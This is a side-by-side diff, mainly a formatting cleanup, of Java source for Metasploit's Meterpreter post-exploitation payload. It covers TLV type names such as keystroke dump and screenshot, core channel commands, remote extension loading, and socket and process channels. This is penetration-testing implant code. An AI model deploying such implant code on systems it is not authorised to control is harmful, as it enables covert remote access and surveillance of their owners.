typeNames.put(new Integer(TLVType.TLV_TYPE_ALLOC_BASE_ADDRESS), "TLV_TYPE_ALLOC_BASE_ADDRESS"); typeNames.put(new Integer(TLVType.TLV_TYPE_ALLOC_BASE_ADDRESS), "TLV_TYPE_ALLOC_BASE_ADDRESS");
typeNames.put(new Integer(TLVType.TLV_TYPE_MEMORY_STATE), "TLV_TYPE_MEMORY_STATE"); typeNames.put(new Integer(TLVType.TLV_TYPE_MEMORY_STATE), "TLV_TYPE_MEMORY_STATE");
typeNames.put(new Integer(TLVType.TLV_TYPE_MEMORY_TYPE), "TLV_TYPE_MEMORY_TYPE"); typeNames.put(new Integer(TLVType.TLV_TYPE_MEMORY_TYPE), "TLV_TYPE_MEMORY_TYPE");
typeNames.put(new Integer(TLVType.TLV_TYPE_ALLOC_PROTECTION), "TLV_TYPE_ALLOC_PROTECTION"); typeNames.put(new Integer(TLVType.TLV_TYPE_ALLOC_PROTECTION), "TLV_TYPE_ALLOC_PROTECTION");
typeNames.put(new Integer(TLVType.TLV_TYPE_PID), "TLV_TYPE_PID"); typeNames.put(new Integer(TLVType.TLV_TYPE_PID), "TLV_TYPE_PID");
typeNames.put(new Integer(TLVType.TLV_TYPE_PROCESS_NAME), "TLV_TYPE_PROCESS_NAME"); typeNames.put(new Integer(TLVType.TLV_TYPE_PROCESS_NAME), "TLV_TYPE_PROCESS_NAME");
typeNames.put(new Integer(TLVType.TLV_TYPE_PROCESS_PATH), "TLV_TYPE_PROCESS_PATH"); typeNames.put(new Integer(TLVType.TLV_TYPE_PROCESS_PATH), "TLV_TYPE_PROCESS_PATH");
typeNames.put(new Integer(TLVType.TLV_TYPE_PROCESS_GROUP), "TLV_TYPE_PROCESS_GROUP"); typeNames.put(new Integer(TLVType.TLV_TYPE_PROCESS_GROUP), "TLV_TYPE_PROCESS_GROUP");
typeNames.put(new Integer(TLVType.TLV_TYPE_PROCESS_FLAGS), "TLV_TYPE_PROCESS_FLAGS"); typeNames.put(new Integer(TLVType.TLV_TYPE_PROCESS_FLAGS), "TLV_TYPE_PROCESS_FLAGS");
typeNames.put(new Integer(TLVType.TLV_TYPE_PROCESS_ARGUMENTS), "TLV_TYPE_PROCESS_ARGUMENTS"); typeNames.put(new Integer(TLVType.TLV_TYPE_PROCESS_ARGUMENTS), "TLV_TYPE_PROCESS_ARGUMENTS");
typeNames.put(new Integer(TLVType.TLV_TYPE_IMAGE_FILE), "TLV_TYPE_IMAGE_FILE"); typeNames.put(new Integer(TLVType.TLV_TYPE_IMAGE_FILE), "TLV_TYPE_IMAGE_FILE");
typeNames.put(new Integer(TLVType.TLV_TYPE_IMAGE_FILE_PATH), "TLV_TYPE_IMAGE_FILE_PATH"); typeNames.put(new Integer(TLVType.TLV_TYPE_IMAGE_FILE_PATH), "TLV_TYPE_IMAGE_FILE_PATH");
typeNames.put(new Integer(TLVType.TLV_TYPE_PROCEDURE_NAME), "TLV_TYPE_PROCEDURE_NAME"); typeNames.put(new Integer(TLVType.TLV_TYPE_PROCEDURE_NAME), "TLV_TYPE_PROCEDURE_NAME");
typeNames.put(new Integer(TLVType.TLV_TYPE_PROCEDURE_ADDRESS), "TLV_TYPE_PROCEDURE_ADDRESS"); typeNames.put(new Integer(TLVType.TLV_TYPE_PROCEDURE_ADDRESS), "TLV_TYPE_PROCEDURE_ADDRESS");
typeNames.put(new Integer(TLVType.TLV_TYPE_IMAGE_BASE), "TLV_TYPE_IMAGE_BASE"); typeNames.put(new Integer(TLVType.TLV_TYPE_IMAGE_BASE), "TLV_TYPE_IMAGE_BASE");
typeNames.put(new Integer(TLVType.TLV_TYPE_IMAGE_GROUP), "TLV_TYPE_IMAGE_GROUP"); typeNames.put(new Integer(TLVType.TLV_TYPE_IMAGE_GROUP), "TLV_TYPE_IMAGE_GROUP");
typeNames.put(new Integer(TLVType.TLV_TYPE_IMAGE_NAME), "TLV_TYPE_IMAGE_NAME"); typeNames.put(new Integer(TLVType.TLV_TYPE_IMAGE_NAME), "TLV_TYPE_IMAGE_NAME");
typeNames.put(new Integer(TLVType.TLV_TYPE_THREAD_ID), "TLV_TYPE_THREAD_ID"); typeNames.put(new Integer(TLVType.TLV_TYPE_THREAD_ID), "TLV_TYPE_THREAD_ID");
typeNames.put(new Integer(TLVType.TLV_TYPE_THREAD_PERMS), "TLV_TYPE_THREAD_PERMS"); typeNames.put(new Integer(TLVType.TLV_TYPE_THREAD_PERMS), "TLV_TYPE_THREAD_PERMS");
typeNames.put(new Integer(TLVType.TLV_TYPE_EXIT_CODE), "TLV_TYPE_EXIT_CODE"); typeNames.put(new Integer(TLVType.TLV_TYPE_EXIT_CODE), "TLV_TYPE_EXIT_CODE");
typeNames.put(new Integer(TLVType.TLV_TYPE_ENTRY_POINT), "TLV_TYPE_ENTRY_POINT"); typeNames.put(new Integer(TLVType.TLV_TYPE_ENTRY_POINT), "TLV_TYPE_ENTRY_POINT");
typeNames.put(new Integer(TLVType.TLV_TYPE_ENTRY_PARAMETER), "TLV_TYPE_ENTRY_PARAMETER"); typeNames.put(new Integer(TLVType.TLV_TYPE_ENTRY_PARAMETER), "TLV_TYPE_ENTRY_PARAMETER");
typeNames.put(new Integer(TLVType.TLV_TYPE_CREATION_FLAGS), "TLV_TYPE_CREATION_FLAGS"); typeNames.put(new Integer(TLVType.TLV_TYPE_CREATION_FLAGS), "TLV_TYPE_CREATION_FLAGS");
typeNames.put(new Integer(TLVType.TLV_TYPE_REGISTER_NAME), "TLV_TYPE_REGISTER_NAME"); typeNames.put(new Integer(TLVType.TLV_TYPE_REGISTER_NAME), "TLV_TYPE_REGISTER_NAME");
typeNames.put(new Integer(TLVType.TLV_TYPE_REGISTER_SIZE), "TLV_TYPE_REGISTER_SIZE"); typeNames.put(new Integer(TLVType.TLV_TYPE_REGISTER_SIZE), "TLV_TYPE_REGISTER_SIZE");
typeNames.put(new Integer(TLVType.TLV_TYPE_REGISTER_VALUE_32), "TLV_TYPE_REGISTER_VALUE_32"); typeNames.put(new Integer(TLVType.TLV_TYPE_REGISTER_VALUE_32), "TLV_TYPE_REGISTER_VALUE_32");
typeNames.put(new Integer(TLVType.TLV_TYPE_REGISTER), "TLV_TYPE_REGISTER"); typeNames.put(new Integer(TLVType.TLV_TYPE_REGISTER), "TLV_TYPE_REGISTER");
typeNames.put(new Integer(TLVType.TLV_TYPE_IDLE_TIME), "TLV_TYPE_IDLE_TIME"); typeNames.put(new Integer(TLVType.TLV_TYPE_IDLE_TIME), "TLV_TYPE_IDLE_TIME");
typeNames.put(new Integer(TLVType.TLV_TYPE_KEYS_DUMP), "TLV_TYPE_KEYS_DUMP"); typeNames.put(new Integer(TLVType.TLV_TYPE_KEYS_DUMP), "TLV_TYPE_KEYS_DUMP");
typeNames.put(new Integer(TLVType.TLV_TYPE_DESKTOP), "TLV_TYPE_DESKTOP"); typeNames.put(new Integer(TLVType.TLV_TYPE_DESKTOP), "TLV_TYPE_DESKTOP");
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_SOURCENAME), "TLV_TYPE_EVENT_SOURCENAME"); typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_SOURCENAME), "TLV_TYPE_EVENT_SOURCENAME");
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_HANDLE), "TLV_TYPE_EVENT_HANDLE"); typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_HANDLE), "TLV_TYPE_EVENT_HANDLE");
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_NUMRECORDS), "TLV_TYPE_EVENT_NUMRECORDS"); typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_NUMRECORDS), "TLV_TYPE_EVENT_NUMRECORDS");
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_READFLAGS), "TLV_TYPE_EVENT_READFLAGS"); typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_READFLAGS), "TLV_TYPE_EVENT_READFLAGS");
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_RECORDOFFSET), "TLV_TYPE_EVENT_RECORDOFFSET"); typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_RECORDOFFSET), "TLV_TYPE_EVENT_RECORDOFFSET");
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_RECORDNUMBER), "TLV_TYPE_EVENT_RECORDNUMBER"); typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_RECORDNUMBER), "TLV_TYPE_EVENT_RECORDNUMBER");
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_TIMEGENERATED), "TLV_TYPE_EVENT_TIMEGENERATED"); typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_TIMEGENERATED), "TLV_TYPE_EVENT_TIMEGENERATED");
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_TIMEWRITTEN), "TLV_TYPE_EVENT_TIMEWRITTEN"); typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_TIMEWRITTEN), "TLV_TYPE_EVENT_TIMEWRITTEN");
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_ID), "TLV_TYPE_EVENT_ID"); typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_ID), "TLV_TYPE_EVENT_ID");
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_TYPE), "TLV_TYPE_EVENT_TYPE"); typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_TYPE), "TLV_TYPE_EVENT_TYPE");
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_CATEGORY), "TLV_TYPE_EVENT_CATEGORY"); typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_CATEGORY), "TLV_TYPE_EVENT_CATEGORY");
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_STRING), "TLV_TYPE_EVENT_STRING"); typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_STRING), "TLV_TYPE_EVENT_STRING");
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_DATA), "TLV_TYPE_EVENT_DATA"); typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_DATA), "TLV_TYPE_EVENT_DATA");
typeNames.put(new Integer(TLVType.TLV_TYPE_POWER_FLAGS), "TLV_TYPE_POWER_FLAGS"); typeNames.put(new Integer(TLVType.TLV_TYPE_POWER_FLAGS), "TLV_TYPE_POWER_FLAGS");
typeNames.put(new Integer(TLVType.TLV_TYPE_POWER_REASON), "TLV_TYPE_POWER_REASON"); typeNames.put(new Integer(TLVType.TLV_TYPE_POWER_REASON), "TLV_TYPE_POWER_REASON");
typeNames.put(new Integer(TLVType.TLV_TYPE_DESKTOP_SCREENSHOT), "TLV_TYPE_DESKTOP_SCREENSHOT"); typeNames.put(new Integer(TLVType.TLV_TYPE_DESKTOP_SCREENSHOT), "TLV_TYPE_DESKTOP_SCREENSHOT");
typeNames.put(new Integer(TLVType.TLV_TYPE_DESKTOP_SCREENSHOT_QUALITY), "TLV_TYPE_DESKTOP_SCREENSHOT_QUALITY"); typeNames.put(new Integer(TLVType.TLV_TYPE_DESKTOP_SCREENSHOT_QUALITY), "TLV_TYPE_DESKTOP_SCREENSHOT_QUALITY");
typeNames.put(new Integer(TLVType.TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_LENGTH), "TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_LENGTH"); typeNames.put(new Integer(TLVType.TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_LENGTH), "TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_LENGTH");
typeNames.put(new Integer(TLVType.TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_BUFFER), "TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_BUFFER"); typeNames.put(new Integer(TLVType.TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_BUFFER), "TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_BUFFER");
typeNames.put(new Integer(TLVType.TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_LENGTH), "TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_LENGTH"); typeNames.put(new Integer(TLVType.TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_LENGTH), "TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_LENGTH");
typeNames.put(new Integer(TLVType.TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_BUFFER), "TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_BUFFER"); typeNames.put(new Integer(TLVType.TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_BUFFER), "TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_BUFFER");
} }
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception { public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
meterpreter.getErrorStream().println("Unknown request detected:"); meterpreter.getErrorStream().println("Unknown request detected:");
dumpTLV(meterpreter.getErrorStream(), request); dumpTLV(meterpreter.getErrorStream(), request);
return ERROR_FAILURE; return ERROR_FAILURE;
} }
private void dumpTLV(PrintStream errorStream, TLVPacket request) { private void dumpTLV(PrintStream errorStream, TLVPacket request) {
for (Iterator it = request.getTypeOrder().iterator(); it.hasNext();) { for (Iterator it = request.getTypeOrder().iterator(); it.hasNext(); ) {
int type = ((Integer) it.next()).intValue(); int type = ((Integer) it.next()).intValue();
int restType = type; int restType = type;
String typePrefix = ""; String typePrefix = "";
if ((type & TLVPacket.TLV_META_TYPE_COMPRESSED) != 0) { if ((type & TLVPacket.TLV_META_TYPE_COMPRESSED) != 0) {
typePrefix = "Compressed "; typePrefix = "Compressed ";
restType ^= TLVPacket.TLV_META_TYPE_COMPRESSED; restType ^= TLVPacket.TLV_META_TYPE_COMPRESSED;
} }
String typeName = (String) typeNames.get(new Integer(restType)); String typeName = (String) typeNames.get(new Integer(restType));
Object typeValue = request.getValue(type); Object typeValue = request.getValue(type);
if (typeName == null) if (typeName == null)
typeName = "0x" + Integer.toHexString(type).toUpperCase(); typeName = "0x" + Integer.toHexString(type).toUpperCase();
if (typeValue instanceof byte[]) { if (typeValue instanceof byte[]) {
typeValue = "(raw data, " + ((byte[]) typeValue).length + " bytes)"; typeValue = "(raw data, " + ((byte[]) typeValue).length + " bytes)";
} }
errorStream.println("\t" + typePrefix + typeName + " = " + typeValue); errorStream.println("\t" + typePrefix + typeName + " = " + typeValue);
} }
} }
} }

@ -6,29 +6,27 @@ import com.metasploit.meterpreter.TLVPacket;
/** /**
* A command that represents a command that is implemented, but not for the current Java version. * A command that represents a command that is implemented, but not for the current Java version.
* *
* @author mihi * @author mihi
*/ */
public class UnsupportedJavaVersionCommand implements Command { public class UnsupportedJavaVersionCommand implements Command {
private final String command; private final String command;
private final int version; private final int version;
/** /**
* Create a new instance of that command. * Create a new instance of that command.
* *
* @param command * @param command Name of the command
* Name of the command * @param version Version required
* @param version */
* Version required public UnsupportedJavaVersionCommand(String command, int version) {
*/ this.command = command;
public UnsupportedJavaVersionCommand(String command, int version) { this.version = version;
this.command = command; }
this.version = version;
}
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception { public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
meterpreter.getErrorStream().println("Command " + command + " requires at least Java 1." + (version - ExtensionLoader.V1_2 + 2)); meterpreter.getErrorStream().println("Command " + command + " requires at least Java 1." + (version - ExtensionLoader.V1_2 + 2));
return ERROR_FAILURE; return ERROR_FAILURE;
} }
} }

@ -5,18 +5,18 @@ import com.metasploit.meterpreter.ExtensionLoader;
/** /**
* Loader class to register all the core commands. * Loader class to register all the core commands.
* *
* @author mihi * @author mihi
*/ */
public class Loader implements ExtensionLoader { public class Loader implements ExtensionLoader {
public void load(CommandManager mgr) throws Exception { public void load(CommandManager mgr) throws Exception {
mgr.registerCommand("core_channel_close", core_channel_close.class); mgr.registerCommand("core_channel_close", core_channel_close.class);
mgr.registerCommand("core_channel_eof", core_channel_eof.class); mgr.registerCommand("core_channel_eof", core_channel_eof.class);
mgr.registerCommand("core_channel_interact", core_channel_interact.class); mgr.registerCommand("core_channel_interact", core_channel_interact.class);
mgr.registerCommand("core_channel_open", core_channel_open.class); mgr.registerCommand("core_channel_open", core_channel_open.class);
mgr.registerCommand("core_channel_read", core_channel_read.class); mgr.registerCommand("core_channel_read", core_channel_read.class);
mgr.registerCommand("core_channel_write", core_channel_write.class); mgr.registerCommand("core_channel_write", core_channel_write.class);
mgr.registerCommand("core_loadlib", core_loadlib.class); mgr.registerCommand("core_loadlib", core_loadlib.class);
} }
} }

@ -7,10 +7,10 @@ import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.command.Command; import com.metasploit.meterpreter.command.Command;
public class core_channel_close implements Command { public class core_channel_close implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception { public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
Channel c = meterpreter.getChannel(request.getIntValue(TLVType.TLV_TYPE_CHANNEL_ID), false); Channel c = meterpreter.getChannel(request.getIntValue(TLVType.TLV_TYPE_CHANNEL_ID), false);
if (c != null) if (c != null)
c.close(); c.close();
return ERROR_SUCCESS; return ERROR_SUCCESS;
} }
} }

@ -8,14 +8,14 @@ import com.metasploit.meterpreter.command.Command;
public class core_channel_eof implements Command { public class core_channel_eof implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception { public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
int id = request.getIntValue(TLVType.TLV_TYPE_CHANNEL_ID); int id = request.getIntValue(TLVType.TLV_TYPE_CHANNEL_ID);
if (id == 0) { if (id == 0) {
response.add(TLVType.TLV_TYPE_BOOL, false); response.add(TLVType.TLV_TYPE_BOOL, false);
} else { } else {
Channel c = meterpreter.getChannel(id, true); Channel c = meterpreter.getChannel(id, true);
response.add(TLVType.TLV_TYPE_BOOL, c.isEOF()); response.add(TLVType.TLV_TYPE_BOOL, c.isEOF());
} }
return ERROR_SUCCESS; return ERROR_SUCCESS;
} }
} }

@ -8,15 +8,15 @@ import com.metasploit.meterpreter.command.Command;
public class core_channel_interact implements Command { public class core_channel_interact implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception { public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
Channel channel = meterpreter.getChannel(request.getIntValue(TLVType.TLV_TYPE_CHANNEL_ID), true); Channel channel = meterpreter.getChannel(request.getIntValue(TLVType.TLV_TYPE_CHANNEL_ID), true);
// True means start interacting, False means stop // True means start interacting, False means stop
boolean toggle = request.getBooleanValue(TLVType.TLV_TYPE_BOOL); boolean toggle = request.getBooleanValue(TLVType.TLV_TYPE_BOOL);
if (toggle) { if (toggle) {
channel.startInteract(); channel.startInteract();
} else { } else {
channel.stopInteract(); channel.stopInteract();
} }
return ERROR_SUCCESS; return ERROR_SUCCESS;
} }
} }

@ -7,9 +7,9 @@ import com.metasploit.meterpreter.command.Command;
public class core_channel_open implements Command { public class core_channel_open implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception { public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
String channelType = request.getStringValue(TLVType.TLV_TYPE_CHANNEL_TYPE); String channelType = request.getStringValue(TLVType.TLV_TYPE_CHANNEL_TYPE);
Command channelCreator = meterpreter.getCommandManager().getCommand("channel_create_" + channelType); Command channelCreator = meterpreter.getCommandManager().getCommand("channel_create_" + channelType);
return channelCreator.execute(meterpreter, request, response); return channelCreator.execute(meterpreter, request, response);
} }
} }

@ -8,13 +8,13 @@ import com.metasploit.meterpreter.command.Command;
public class core_channel_read implements Command { public class core_channel_read implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception { public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
Channel channel = meterpreter.getChannel(request.getIntValue(TLVType.TLV_TYPE_CHANNEL_ID), true); Channel channel = meterpreter.getChannel(request.getIntValue(TLVType.TLV_TYPE_CHANNEL_ID), true);
int len = request.getIntValue(TLVType.TLV_TYPE_LENGTH); int len = request.getIntValue(TLVType.TLV_TYPE_LENGTH);
byte[] data = channel.read(len); byte[] data = channel.read(len);
if (data == null) if (data == null)
return ERROR_FAILURE; return ERROR_FAILURE;
response.add(TLVType.TLV_TYPE_CHANNEL_DATA, data); response.add(TLVType.TLV_TYPE_CHANNEL_DATA, data);
return ERROR_SUCCESS; return ERROR_SUCCESS;
} }
} }

@ -8,12 +8,12 @@ import com.metasploit.meterpreter.command.Command;
public class core_channel_write implements Command { public class core_channel_write implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception { public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
Channel c = meterpreter.getChannel(request.getIntValue(TLVType.TLV_TYPE_CHANNEL_ID), true); Channel c = meterpreter.getChannel(request.getIntValue(TLVType.TLV_TYPE_CHANNEL_ID), true);
byte[] data = request.getRawValue(TLVType.TLV_TYPE_CHANNEL_DATA); byte[] data = request.getRawValue(TLVType.TLV_TYPE_CHANNEL_DATA);
int len = request.getIntValue(TLVType.TLV_TYPE_LENGTH); int len = request.getIntValue(TLVType.TLV_TYPE_LENGTH);
c.write(data, len, request); c.write(data, len, request);
response.add(TLVType.TLV_TYPE_LENGTH, len); response.add(TLVType.TLV_TYPE_LENGTH, len);
return ERROR_SUCCESS; return ERROR_SUCCESS;
} }
} }

@ -7,13 +7,13 @@ import com.metasploit.meterpreter.command.Command;
public class core_loadlib implements Command { public class core_loadlib implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception { public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
byte[] data = request.getRawValue(TLVType.TLV_TYPE_DATA); byte[] data = request.getRawValue(TLVType.TLV_TYPE_DATA);
String[] commands = meterpreter.loadExtension(data); String[] commands = meterpreter.loadExtension(data);
for (int i = 0; i < commands.length; i++) { for (int i = 0; i < commands.length; i++) {
response.addOverflow(TLVType.TLV_TYPE_METHOD, commands[i]); response.addOverflow(TLVType.TLV_TYPE_METHOD, commands[i]);
} }
return ERROR_SUCCESS; return ERROR_SUCCESS;
} }
} }

@ -9,88 +9,86 @@ import java.net.SocketException;
/** /**
* A channel for a {@link DatagramSocket}. * A channel for a {@link DatagramSocket}.
* *
* @author mihi * @author mihi
*/ */
public class DatagramSocketChannel extends Channel { public class DatagramSocketChannel extends Channel {
private final DatagramSocket datagramSocket; private final DatagramSocket datagramSocket;
private boolean closed = false; private boolean closed = false;
/** /**
* Create a new socket channel. * Create a new socket channel.
* *
* @param meterpreter * @param meterpreter The meterpreter this channel should be assigned to.
* The meterpreter this channel should be assigned to. * @param socket Socket of the channel
* @param socket */
* Socket of the channel public DatagramSocketChannel(Meterpreter meterpreter, DatagramSocket datagramSocket) throws IOException {
*/ super(meterpreter, new ByteArrayInputStream(new byte[0]), null);
public DatagramSocketChannel(Meterpreter meterpreter, DatagramSocket datagramSocket) throws IOException { this.datagramSocket = datagramSocket;
super(meterpreter, new ByteArrayInputStream(new byte[0]), null); new AcceptThread().start();
this.datagramSocket = datagramSocket; }
new AcceptThread().start();
}
public void write(byte[] data, int length, TLVPacket request) throws IOException { public void write(byte[] data, int length, TLVPacket request) throws IOException {
String remoteHostName = (String) request.getValue(TLVType.TLV_TYPE_PEER_HOST, null); String remoteHostName = (String) request.getValue(TLVType.TLV_TYPE_PEER_HOST, null);
InetAddress remoteHost = null; InetAddress remoteHost = null;
int remotePort = 0; int remotePort = 0;
if (remoteHostName != null) { if (remoteHostName != null) {
remoteHost = InetAddress.getByName(remoteHostName); remoteHost = InetAddress.getByName(remoteHostName);
remotePort = request.getIntValue(TLVType.TLV_TYPE_PEER_PORT); remotePort = request.getIntValue(TLVType.TLV_TYPE_PEER_PORT);
} }
write(data, length, remoteHost, remotePort); write(data, length, remoteHost, remotePort);
} }
private void write(byte[] data, int length, InetAddress remoteHost, int remotePort) throws IOException { private void write(byte[] data, int length, InetAddress remoteHost, int remotePort) throws IOException {
if (remoteHost == null) { if (remoteHost == null) {
remoteHost = datagramSocket.getInetAddress(); remoteHost = datagramSocket.getInetAddress();
remotePort = datagramSocket.getPort(); remotePort = datagramSocket.getPort();
} }
DatagramPacket dp = new DatagramPacket(data, length, remoteHost, remotePort); DatagramPacket dp = new DatagramPacket(data, length, remoteHost, remotePort);
datagramSocket.send(dp); datagramSocket.send(dp);
} }
public void close() throws IOException { public void close() throws IOException {
closed = true; closed = true;
datagramSocket.close(); datagramSocket.close();
super.close(); super.close();
} }
Meterpreter getMeterpreter() {
return meterpreter;
}
private class AcceptThread extends Thread { Meterpreter getMeterpreter() {
public void run() { return meterpreter;
try { }
byte[] datagram = new byte[65536];
while (true) { private class AcceptThread extends Thread {
try { public void run() {
DatagramPacket dp = new DatagramPacket(datagram, datagram.length); try {
datagramSocket.receive(dp); byte[] datagram = new byte[65536];
byte[] data = new byte[dp.getLength()]; while (true) {
System.arraycopy(datagram, 0, data, 0, dp.getLength()); try {
TLVPacket tlv = new TLVPacket(); DatagramPacket dp = new DatagramPacket(datagram, datagram.length);
tlv.add(TLVType.TLV_TYPE_CHANNEL_ID, getID()); datagramSocket.receive(dp);
tlv.add(TLVType.TLV_TYPE_PEER_HOST, dp.getAddress().getHostAddress()); byte[] data = new byte[dp.getLength()];
tlv.add(TLVType.TLV_TYPE_PEER_PORT, dp.getPort()); System.arraycopy(datagram, 0, data, 0, dp.getLength());
tlv.add(TLVType.TLV_TYPE_CHANNEL_DATA, data); TLVPacket tlv = new TLVPacket();
tlv.add(TLVType.TLV_TYPE_LENGTH, data.length); tlv.add(TLVType.TLV_TYPE_CHANNEL_ID, getID());
getMeterpreter().writeRequestPacket("core_channel_write", tlv); tlv.add(TLVType.TLV_TYPE_PEER_HOST, dp.getAddress().getHostAddress());
} catch (SocketException t) { tlv.add(TLVType.TLV_TYPE_PEER_PORT, dp.getPort());
// dirty hack since later java versions add more of those... tlv.add(TLVType.TLV_TYPE_CHANNEL_DATA, data);
if (!t.getClass().getName().endsWith("UnreachableException")) tlv.add(TLVType.TLV_TYPE_LENGTH, data.length);
throw t; getMeterpreter().writeRequestPacket("core_channel_write", tlv);
} } catch (SocketException t) {
} // dirty hack since later java versions add more of those...
} catch (SocketException t) { if (!t.getClass().getName().endsWith("UnreachableException"))
if (closed) throw t;
return; }
t.printStackTrace(getMeterpreter().getErrorStream()); }
} catch (Throwable t) { } catch (SocketException t) {
t.printStackTrace(getMeterpreter().getErrorStream()); if (closed)
} return;
} t.printStackTrace(getMeterpreter().getErrorStream());
} } catch (Throwable t) {
t.printStackTrace(getMeterpreter().getErrorStream());
}
}
}
} }

@ -8,32 +8,30 @@ import com.metasploit.meterpreter.Meterpreter;
/** /**
* A channel for a started {@link Process}. * A channel for a started {@link Process}.
* *
* @author mihi * @author mihi
*/ */
public class ProcessChannel extends Channel { public class ProcessChannel extends Channel {
private final Process process; private final Process process;
private final InputStream err; private final InputStream err;
/** /**
* Create a new process channel. * Create a new process channel.
* *
* @param meterpreter * @param meterpreter The meterpreter this channel should be assigned to.
* The meterpreter this channel should be assigned to. * @param process Process of the channel
* @param process */
* Process of the channel public ProcessChannel(Meterpreter meterpreter, Process process) {
*/ super(meterpreter, process.getInputStream(), process.getOutputStream());
public ProcessChannel(Meterpreter meterpreter, Process process) { this.process = process;
super(meterpreter, process.getInputStream(), process.getOutputStream()); this.err = process.getErrorStream();
this.process = process; new InteractThread(err).start();
this.err = process.getErrorStream(); }
new InteractThread(err).start();
}
public void close() throws IOException { public void close() throws IOException {
process.destroy(); process.destroy();
err.close(); err.close();
super.close(); super.close();
} }
} }

@ -8,62 +8,60 @@ import java.net.SocketException;
/** /**
* A channel for a {@link ServerSocket}. * A channel for a {@link ServerSocket}.
* *
* @author mihi * @author mihi
*/ */
public class ServerSocketChannel extends Channel { public class ServerSocketChannel extends Channel {
private final ServerSocket serverSocket; private final ServerSocket serverSocket;
private boolean closed = false; private boolean closed = false;
/** /**
* Create a new socket channel. * Create a new socket channel.
* *
* @param meterpreter * @param meterpreter The meterpreter this channel should be assigned to.
* The meterpreter this channel should be assigned to. * @param socket Socket of the channel
* @param socket */
* Socket of the channel public ServerSocketChannel(Meterpreter meterpreter, ServerSocket serverSocket) throws IOException {
*/ super(meterpreter, new ByteArrayInputStream(new byte[0]), null);
public ServerSocketChannel(Meterpreter meterpreter, ServerSocket serverSocket) throws IOException { this.serverSocket = serverSocket;
super(meterpreter, new ByteArrayInputStream(new byte[0]), null); new AcceptThread().start();
this.serverSocket = serverSocket; }
new AcceptThread().start();
}
public void close() throws IOException { public void close() throws IOException {
closed = true; closed = true;
serverSocket.close(); serverSocket.close();
super.close(); super.close();
} }
Meterpreter getMeterpreter() { Meterpreter getMeterpreter() {
return meterpreter; return meterpreter;
} }
private class AcceptThread extends Thread { private class AcceptThread extends Thread {
public void run() { public void run() {
try { try {
while(true) { while (true) {
Socket s = serverSocket.accept(); Socket s = serverSocket.accept();
SocketChannel ch = new SocketChannel(getMeterpreter(), s); SocketChannel ch = new SocketChannel(getMeterpreter(), s);
TLVPacket packet = new TLVPacket(); TLVPacket packet = new TLVPacket();
packet.add(TLVType.TLV_TYPE_CHANNEL_ID, ch.getID()); packet.add(TLVType.TLV_TYPE_CHANNEL_ID, ch.getID());
packet.add(TLVType.TLV_TYPE_CHANNEL_PARENTID, getID()); packet.add(TLVType.TLV_TYPE_CHANNEL_PARENTID, getID());
